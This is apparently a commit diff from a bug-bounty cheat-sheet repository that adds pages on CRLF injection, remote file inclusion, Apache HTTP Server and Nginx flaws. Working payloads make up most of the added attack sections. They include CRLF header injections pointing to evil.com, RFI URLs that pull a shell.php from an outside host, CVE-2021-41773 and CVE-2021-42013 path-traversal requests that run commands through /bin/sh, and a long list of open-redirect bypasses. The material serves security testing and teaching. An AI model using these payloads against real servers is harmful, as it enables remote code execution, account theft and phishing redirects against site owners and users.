🤬
  • ■ ■ ■ ■ ■
    Arbitrary File Upload.md
    1  -# Bypass File Upload
    2  -1. Change the ContentType
     1 +# Arbitrary File Upload
     2 + 
     3 +## Introduction
     4 +An arbitrary file upload vulnerability is a type of security flaw that allows an attacker to upload malicious files onto a server.
     5 + 
     6 +## Where to find
     7 +In upload file feature, for example upload photo profile feature
     8 + 
     9 +## How to exploit
     10 +1. Change the `Content-Type` value
    3 11  ```
    4 12  POST /images/upload/ HTTP/1.1
    5 13  Host: target.com
    skipped 79 lines
  • ■ ■ ■ ■
    Business Logic Errors.md
    skipped 2 lines
    3 3  ## Introduction
    4 4  Business Logic Errors are ways of using the legitimate processing flow of an application in a way that results in a negative consequence to the organization.
    5 5   
    6  -## How to find
     6 +## Where to find
     7 +This vulnerability can appear in all features of the application.
     8 + 
     9 +## How to exploit
    7 10  1. Review Functionality
    8 11   - Some applications have an option where verified reviews are marked with some tick or it's mentioned. Try to see if you can post a review as a Verified Reviewer without purchasing that product.
    9 12   - Some app provides you with an option to provide a rating on a scale of 1 to 5, try to go beyond/below the scale-like provide 0 or 6 or -ve.
    skipped 49 lines
  • ■ ■ ■ ■
    Bypass/Bypass Captcha.md
    1  -# Bypass Captcha
     1 +# Bypass Captcha (Google reCAPTCHA)
    2 2   
    3 3  1. Try changing the request method, for example POST to GET
    4 4  ```
    skipped 74 lines
  • ■ ■ ■ ■ ■ ■
    CRLF Injection.md
     1 +# CRLF Injection
     2 + 
     3 +## Introduction
     4 +A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
     5 + 
     6 +## Where to find
     7 +It can be found anywhere, always check the request and response. Try to search for parameters that lead to redirects, you can see the response is (301, 302, 303, 307, 308).
     8 + 
     9 +## How to exploit
     10 +1. Basic payload
     11 +```
     12 +https://example.com/?lang=en%0D%0ALocation:%20https://evil.com/
     13 +```
     14 +The response is
     15 +```
     16 +HTTP/1.1 200 OK
     17 +Content-Type: text/html
     18 +Date: Mon, 09 May 2016 14:47:29 GMT
     19 +Set-Cookie: language=en
     20 +Location: https://evil.com/
     21 +```
     22 + 
     23 +2. Double encode
     24 +```
     25 +https://example.com/?lang=en%250D%250ALocation:%20https://evil.com/
     26 +```
     27 + 
     28 +3. Bypass unicode
     29 +```
     30 +https://example.com/?lang=en%E5%98%8A%E5%98%8DLocation:%20https://evil.com/
     31 +```
     32 + 
     33 +## References
     34 +* [@filedescriptor](https://blog.innerht.ml/twitter-crlf-injection/)
     35 +* [EdOverflow](https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md)
  • ■ ■ ■ ■ ■ ■
    Cross Site Request Forgery.md
    skipped 2 lines
    3 3  ## Introduction
    4 4  Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated
    5 5   
     6 +## How to find
     7 +Usually found in forms. Try submit the form and check the HTTP request. If the HTTP request does not have a CSRF token then it is likely to be vulnerable to a CSRF attack. But in some cases, the CSRF token can be bypassed, try check this [List](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20CSRF.md)
     8 + 
    6 9  ## How to exploit
    7 10  1. HTML GET Method
    8 11   
    skipped 29 lines
    38 41  xhr.send('{"role":admin}');
    39 42  </script>
    40 43  ```
     44 + 
     45 +5. Multipart request
     46 +Soon
  • ■ ■ ■ ■
    Cross Site Scripting.md
    skipped 11 lines
    12 12   
    13 13   A type of XSS that has payloads found in the DOM rather than within the HTML code.
    14 14   
    15  -## **How to exploit**
     15 +## Where to find
     16 +This vulnerability can appear in all features of the application. If you want to find Dom-based XSS, you can find it by reading the javascript source code.
     17 + 
     18 +## How to exploit
    16 19  1. Basic payload
    17 20  ```html
    18 21  <script>alert(1)</script>
    skipped 368 lines
  • ■ ■ ■ ■
    Denial Of Service.md
    skipped 1 lines
    2 2   
    3 3  ## Introduction
    4 4  Denial of Service is a type of attack on a service that disrupts its normal function and prevents other users from accessing it
    5  -## How to FInd
     5 + 
     6 +## Where to find
     7 +This vulnerability can appear in all features of the application. Depending on how to exploit it, for example in the file upload feature, you can upload very large files
    6 8   
     9 +## How to exploit
    7 10  1. Cookie bomb
    8 11  
    9 12  ```
    skipped 117 lines
  • ■ ■ ■ ■
    Exposed Source Code.md
    skipped 2 lines
    3 3  ## Introduction
    4 4  Source code intended to be kept server-side can sometimes end up being disclosed to users. Such code may contain sensitive information such as database passwords and secret keys, which may help malicious users formulate attacks against the application.
    5 5   
    6  -## How to FInd
     6 +## Where to find
     7 +`-`
     8 + 
     9 +## How to exploit
    7 10  1. Exposed Git folder
    8 11  ```
    9 12  https://site.com/.git
    skipped 50 lines
  • ■ ■ ■ ■ ■ ■
    Host Header Injection.md
    skipped 2 lines
    3 3  ## Introduction
    4 4  HTTP Host header attacks exploit vulnerable websites that handle the value of the Host header in an unsafe way. If the server implicitly trusts the Host header, and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior. Attacks that involve injecting a payload directly into the Host header are often known as "Host header injection" attacks.
    5 5   
     6 +## Where to find
     7 +In the feature where the website can send email to us. For example forgot password / newsletter.
     8 + 
    6 9  ## How to exploit
    7 10  1. Change the host header
    8 11  ```
    skipped 44 lines
  • ■ ■ ■ ■ ■
    Insecure Direct Object References.md
    skipped 2 lines
    3 3  ## Introduction
    4 4  IDOR stands for Insecure Direct Object Reference is a security vulnerability in which a user is able to access and make changes to data of any other user present in the system.
    5 5   
    6  -## How to FInd
     6 +## Where to find
     7 +- Usually it can be found in APIs.
     8 +- Check the HTTP request that contain unique ID, for example `user_id` or `id`
     9 + 
     10 +## How to exploit
    7 11  1. Add parameters onto the endpoints for example, if there was
    8 12  ```
    9 13  GET /api/v1/getuser
    skipped 148 lines
  • ■ ■ ■ ■
    Local File Inclusion.md
    1  -## Local File Inclusion
     1 +## Local File Inclusion (LFI)
    2 2   
    3 3  ## Introduction
    4 4  Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server
     5 + 
     6 +## Where to find
     7 +- Any endpoint that includes a file from a web server. For example, `/index.php?page=index.html`
    5 8   
    6 9  ## How to exploit
    7 10  1. Basic payload
    skipped 87 lines
  • ■ ■ ■ ■
    OAuth Misconfiguration.md
    skipped 2 lines
    3 3  ## Introduction
    4 4  The most infamous OAuth-based vulnerability is when the configuration of the OAuth service itself enables attackers to steal authorization codes or access tokens associated with other users’ accounts. By stealing a valid code or token, the attacker may be able to access the victim's account.
    5 5   
    6  -## How to find
     6 +## Where to find
     7 +In the SSO feature. For example `Log in with google` or `Log in with facebook`.
     8 + 
     9 +## How to exploit
    7 10  1. OAuth token stealing: Changing redirect_uri to attacker.com(Use IDN Homograph or common bypasses).
    8 11  2. Change Referral header to attacker.com while requesting OAuth.
    9 12  3. Create an account with [email protected] with normal functionality. Create account with [email protected] using OAuth functionality. Now try to login using previous credentials.
    skipped 13 lines
  • ■ ■ ■ ■ ■
    Open Redirect.md
    skipped 2 lines
    3 3  ## Introduction
    4 4  Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain
    5 5   
    6  -## How to Find
     6 +## Where to find
     7 +- Sometimes it can be found in login / register / logout pages
     8 +- Checking the javascript source code
     9 + 
     10 +## How to exploit
    7 11  1. Try change the domain
    8 12  ```
    9 13  /?redir=evil.com
    skipped 89 lines
  • ■ ■ ■ ■
    README.md
    skipped 8 lines
    9 9  ## List
    10 10  - [Arbitrary File Upload](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Arbitrary%20File%20Upload.md)
    11 11  - [Business Logic Errors](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Business%20Logic%20Errors.md)
     12 +- [CRLF Injection](https://github.com/daffainfo/AllAboutBugBounty/blob/master/CRLF%20Injection.md)
    12 13  - [Cross Site Request Forgery (CSRF)](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Cross%20Site%20Request%20Forgery.md)
    13 14  - [Cross Site Scripting (XSS)](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Cross%20Site%20Scripting.md)
    14 15  - [Denial of Service (DoS)](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Denial%20Of%20Service.md)
    skipped 2 lines
    17 18  - [Insecure Direct Object References (IDOR)](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Insecure%20Direct%20Object%20References.md)
    18 19  - [Local File Inclusion (LFI)](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Local%20File%20Inclusion.md)
    19 20  - [NoSQL Injection](https://github.com/daffainfo/AllAboutBugBounty/blob/master/NoSQL%20Injection.md)
    20  -- SQL Injection (SOON)
    21 21  - [OAuth Misconfiguration](https://github.com/daffainfo/AllAboutBugBounty/blob/master/OAuth%20Misconfiguration.md)
    22 22  - [Open Redirect](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Open%20Redirect.md)
     23 +- [Remote File Inclusion (RFI)](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Remote%20File%20Inclusion.md)
     24 +- SQL Injection (SOON)
    23 25  - [Web Cache Poisoning](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Web%20Cache%20Poisoning.md)
    24 26   
    25 27  ## List Bypass
    skipped 15 lines
    41 43  - [Tabnabbing](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Misc/Tabnabbing.md)
    42 44   
    43 45  ## Technologies
     46 +- [Apache (HTTP Server)](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/Apache%20HTTP%20Server.md)
    44 47  - [Confluence](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/Confluence.md)
    45 48  - [Grafana](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/Grafana.md)
    46 49  - [HAProxy](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/HAProxy.md)
    skipped 16 lines
  • ■ ■ ■ ■ ■ ■
    Remote File Inclusion.md
     1 +## Remote File Inclusion (RFI)
     2 + 
     3 +## Introduction
     4 +Remote file inclusion (RFI) is an attack targeting vulnerabilities in web applications that dynamically reference external scripts.
     5 + 
     6 +## Where to find
     7 +- Any endpoint that includes a file from a web server. For example, `/index.php?page=index.html`
     8 + 
     9 +## How to exploit
     10 +1. Basic payload
     11 +```
     12 +http://example.com/index.php?page=http://daffa.info/shell.php
     13 +```
     14 + 
     15 +2. URL encoding
     16 +```
     17 +http://example.com/index.php?page=http%3A%2F%2Fdaffa.info%2Fshell.php
     18 +```
     19 + 
     20 +3. Double encoding
     21 +```
     22 +http://example.com/index.php?page=http%253A%252F%252Fdaffa.info%252Fshell.php
     23 +```
     24 + 
     25 +4. Using Null Byte (%00)
     26 +```
     27 +http://example.com/index.php?page=http://daffa.info/shell.php%00
     28 +```
     29 + 
     30 +## References
     31 +* [payloadbox](https://github.com/payloadbox/rfi-lfi-payload-list)
  • ■ ■ ■ ■ ■ ■
    Technologies/Apache HTTP Server.md
     1 +# Apache (HTTP Server) Common Bugs
     2 + 
     3 +## Introduction
     4 +What would you do if you came across a website that uses Apache (HTTP Server)?
     5 + 
     6 +## How to Detect
     7 +Usually in the HTTP response there is a header like this `Server: Apache` or `Server: Apache/2.4.50` and check the 404 page
     8 + 
     9 +1. Find the related CVE by checking Apache (HTTP Server) version
     10 +* How to find the Apache (HTTP Server) version
     11 + 
     12 +By checking the response header or using 404 page, sometimes the version is printed there. If you found outdated Apache (HTTP Server) version, find the CVEs at [CVE Details](https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-66/Apache-Http-Server.html)
     13 + 
     14 +Some example CVE:
     15 + 
     16 +- CVE-2021-41773 (RCE and LFI)
     17 +```
     18 +POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
     19 +Host: 127.0.0.1:8080
     20 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
     21 +Accept: */*
     22 +Content-Length: 7
     23 +Content-Type: application/x-www-form-urlencoded
     24 +Connection: close
     25 + 
     26 +echo;id
     27 +```
     28 +- CVE-2021-42013 (RCE and LFI)
     29 +```
     30 +POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
     31 +Host: 127.0.0.1:8080
     32 +User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
     33 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
     34 +Accept-Language: en-US,en;q=0.5
     35 +Accept-Encoding: gzip, deflate
     36 +Connection: close
     37 +Upgrade-Insecure-Requests: 1
     38 +Content-Type: application/x-www-form-urlencoded
     39 +Content-Length: 7
     40 + 
     41 +echo;id
     42 +```
  • ■ ■ ■ ■ ■
    Technologies/Confluence.md
    skipped 3 lines
    4 4  What would you do if you came across a website that uses Confluence?
    5 5   
    6 6  ## How to Detect
    7  -```
    8  -https://example.com/login.action?os_destination=%2F
    9  -```
     7 +Try to HTTP request to `https://example.com/login.action?os_destination=%2F` and there is a form login
    10 8   
    11 9  1. Find the related CVE by checking Confluence version
    12 10  * How to find the Confluence version
    skipped 14 lines
  • ■ ■ ■ ■
    Technologies/HAProxy.md
    skipped 3 lines
    4 4  What would you do if you came across a website that uses HAProxy?
    5 5   
    6 6  ## How to Detect
    7  --
     7 +`-`
    8 8   
    9 9  1. CVE-2021-40346 (HTTP Request Smuggling)
    10 10  ```
    skipped 12 lines
  • ■ ■ ■ ■
    Technologies/Jira.md
    skipped 3 lines
    4 4  What would you do if you came across a website that uses Jira?
    5 5   
    6 6  ## How to Detect
    7  -```
    8  -https://example.com/secure/Dashboard.jspa
    9  -https://example.com/login.jsp
    10  -```
     7 +Try to HTTP request to `https://example.com/secure/Dashboard.jspa` or `https://example.com/login.jsp` and there is a form login
    11 8   
    12 9  1. Find the related CVE by checking jira version
    13 10  * How to find the jira version
    skipped 78 lines
  • ■ ■ ■ ■ ■ ■
    Technologies/Nginx.md
    skipped 20 lines
    21 21  https://example.com/folder1/folder2/static../%s/main.css
    22 22  ```
    23 23   
    24  -3. Nginx status page
     24 +3. Open redirect
     25 +This is because of misconfiguration
     26 +```
     27 +https://example.com/%5cevil.com
     28 +https://example.com////\;@evil.com
     29 +https://example.com////evil.com
     30 +https://example.com///evil.com
     31 +https://example.com///evil.com/%2f%2e%2e
     32 +https://example.com///evil.com@//
     33 +https://example.com///{{RootURL}}evil.com/%2f%2e%2e
     34 +https://example.com//;@evil.com
     35 +https://example.com//\/evil.com/
     36 +https://example.com//\@evil.com
     37 +https://example.com//\evil.com
     38 +https://example.com//\tevil.com/
     39 +https://example.com//evil.com/%2F..
     40 +https://example.com//evil.com//
     41 +https://example.com//evil.com@//
     42 +https://example.com//evil.com\tevil.com/
     43 +https://example.com//https://evil.com@//
     44 +https://example.com/<>//evil.com
     45 +https://example.com/\/\/evil.com/
     46 +https://example.com/\/evil.com
     47 +https://example.com/\evil.com
     48 +https://example.com/evil.com
     49 +https://example.com/evil.com/%2F..
     50 +https://example.com/evil.com/
     51 +https://example.com/evil.com/..;/css
     52 +https://example.com/https:evil.com
     53 +```
     54 + 
     55 +4. Nginx status page
    25 56  ```
    26 57  https://example.com/nginx_status
    27 58  ```
     59 + 
     60 +## References
     61 +- [Detectify](https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/)
  • ■ ■ ■ ■
    Technologies/Zend.md
    skipped 3 lines
    4 4  What would you do if you came across a website that uses Zend?
    5 5   
    6 6  ## How to Detect
    7  --
     7 +`-`
    8 8   
    9 9  1. Finding config files
    10 10  ```
    skipped 3 lines
  • ■ ■ ■ ■
    Web Cache Poisoning.md
    skipped 2 lines
    3 3  ## Introduction
    4 4  The objective of web cache poisoning is to send a request that causes a harmful response that gets saved in the cache and served to other users.
    5 5   
    6  -## How to FInd
     6 +## Where to find
     7 +`-`
     8 + 
     9 +## How to exploit
    7 10  1. Basic poisoning
    8 11  ```
    9 12  GET / HTTP/1.1
    skipped 145 lines
Please wait...
Page is in error, reload to recover